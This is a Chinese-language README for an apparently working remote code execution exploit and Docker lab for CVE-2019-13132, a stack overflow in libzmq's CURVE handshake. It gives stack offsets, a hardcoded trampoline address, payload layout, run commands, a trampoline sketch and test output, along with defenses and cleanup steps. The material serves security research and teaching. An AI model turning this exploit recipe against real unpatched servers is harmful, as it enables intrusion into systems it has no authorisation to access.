针对 CVE-2019-13132 的端到端可用 RCE 漏洞利用程序 + 可重现实验室,该漏洞是 libzmq 的 CURVE INITIATE 握手处理程序中的栈缓冲区溢出。知道服务器长期公钥(这是一个公开参数)的攻击者可以溢出 process_initiate() 中的固定大小栈缓冲区,覆盖保存的返回地址,并将执行重定向到任意代码。
作者:Nicolas Krassas (@dinosn)
仅供实验室使用。 本工具包附带了一个故意留有漏洞的 libzmq 4.3.0,并禁用了缓解措施。请勿在实验室外暴露端口 5556。该漏洞已在 libzmq 4.3.2 中修复。
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# 容器内(校准自动运行):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
自动冒烟测试(运行漏洞利用程序并验证证据文件):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # 本文件
├── Dockerfile # 一键容器化实验室
├── server-curve.c # CURVE REP 监听器 — 易受攻击的目标
├── exploit.py # 完整漏洞利用程序(HELLO → WELCOME → 过大的 INITIATE)
├── compute_offsets.py # 构建时偏移提取 → build_offsets.json
├── calibrate.sh # 运行时校准 → profile.json
├── start_server.sh # 启动/重启目标
├── run_lab_test.sh # 自动化端到端冒烟测试
└── entrypoint.sh # Docker 入口点(关闭 ASLR + 服务器 + 校准)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // 仅进行了最小检查;无上限
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 字节固定
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // 目标:栈缓冲区 + 16
initiate + 113, // 源:攻击者数据
clen - crypto_box_BOXZEROBYTES); // 长度:size - 113
initiate_box 是一个 416 字节的栈分配缓冲区。memcpy 将 size - 113 字节写入 400 字节的有效载荷区域(偏移量 16..415)。任何 size > 513 的 INITIATE 都会溢出缓冲区,覆盖保存的调用者寄存器和返回地址。
cookie 验证在溢出之前进行,因此 INITIATE 必须携带真实的 cookie——但 cookie 仅使用服务器的长期公钥从之前的 WELCOME 消息中获取。
CURVE 协议设计为客户端已经拥有服务器的长期公钥(它在连接 URI 或配置中)。漏洞利用程序:
memcpy 触发。无需应用级凭据。无 ZAP 身份验证绕过。溢出在 CURVE 密钥交换期间触发,甚至在应用程序看到对端之前。
process_initiate() 栈帧(编译时使用 -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy 目标 (initiate_box + 16)
RSP + 0x628 ← 保存的 rbx
RSP + 0x630 ← 保存的 rbp
RSP + 0x638 ← 保存的 r12
RSP + 0x640 ← 保存的 r13
RSP + 0x648 ← 保存的 r14
RSP + 0x650 ← 保存的 r15
RSP + 0x658 ← 返回地址 偏移量 = 0x658 - 0x490 = 456 字节
漏洞利用程序发送 464 字节的有效载荷:456 字节填充(0x41)到达返回地址,然后 8 字节包含 lab_trampoline() 的地址。
溢出后,crypto_box_open() 失败(溢出的数据是垃圾密文)。错误路径记录失败,设置 errno 并返回 -1——但错误路径仅访问低于溢出区域的栈位置(RSP+0xe0, RSP+0xf0, RSP+0x280),因此它在栈被破坏的情况下正常运行。
函数尾声(add $0x628,%rsp; pop rbx-r15; ret)弹出被破坏的保存寄存器(现在为 0x4141414141414141),然后 ret 加载我们的跳板地址。
lab_trampoline() 使用原始系统调用(无 libc,无 fork())来写入证据文件:
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// 读取 /proc/self/status(显示 uid、pid、capabilities)
// 读取 /etc/hostname
syscall(SYS_exit_group, 0);
}
使用原始系统调用而不是 system() / fork(),因为 process_initiate() 在 libzmq 的 I/O 线程上运行——在多线程进程中从非主线程调用 fork() 会在 glibc 的 pthread_atfork 锁处理程序上死锁。
服务器的长期公钥是 CurveZMQ 协议中的公开参数——客户端必须拥有它才能连接。它通常分布在配置文件、URI 或发现机制中。漏洞利用程序不需要任何秘密材料。
漏洞利用程序需要两个值:
| 字段 | 值 | 来源 |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve(非 PIE 二进制,固定地址) |
offset_to_ret | 456 | process_initiate 的反汇编(0x658 - 0x490) |
两者都在 exploit.py 中硬编码为 Docker 实验室构建的默认值(Debian 12, gcc 12, libzmq 4.3.0)。无需校准步骤——只需运行漏洞利用程序:
python3 exploit.py # 使用内置默认值
python3 exploit.py 127.0.0.1 5556 --profile profile.json # 显式指定配置文件
python3 exploit.py --trampoline 0x401206 --offset 456 # 手动覆盖
解析优先级:--trampoline/--offset 标志 → --profile 文件 → /opt/zmq-curve-rce/profile.json → 内置默认值。
ZMTP 没有自省 API。问候信息仅透露协议版本(3.x)和机制(CURVE)——关于 libzmq 构建、编译器或二进制布局的信息毫无体现。没有可在运行时访问的构建标识符,以便针对未知目标自动选择偏移量。
calibrate.sh / compute_offsets.py 脚本用于在不同发行版或 gcc 版本上重建,此时跳板地址可能发生变化。在 Docker 实验室内它们会自动运行,但并非必需。
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.
| 防御措施 | 效果 |
|---|---|
| 升级到 libzmq >= 4.3.2 | 已修复。 在 memcpy 之前添加了对 INITIATE 大小的上限检查。 |
栈金丝雀(-fstack-protector) | 在函数返回前检测到溢出。 金丝雀位于局部变量和保存的寄存器之间;溢出会破坏它,触发 __stack_chk_fail。 |
| ASLR | 随机化共享库和栈地址。 跳板位于非 PIE 二进制中(固定地址),但生产服务器会是 PIE 的,需要信息泄露。 |
| PIE | 随机化服务器二进制文件的加载地址。 如果没有泄露,跳板地址将不再可预测。 |
| NX | 此处不相关——未注入 shellcode;漏洞利用程序调用现有代码。 |
| ZAP / 应用级身份验证 | 无帮助——溢出在 CURVE 密钥交换期间触发,在咨询 ZAP 之前。 |
docker rm -f <container>
# 或容器内:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2 # 恢复 ASLR
Nicolas Krassas — @dinosn
MIT。故意留有漏洞的 libzmq 4.3.0 源码在构建时从上游 LGPLv3-with-exceptions / MPLv2 仓库获取。
用于防御性安全研究、教育和授权安全测试。请勿在受控实验室环境之外部署本附带的易受攻击构建。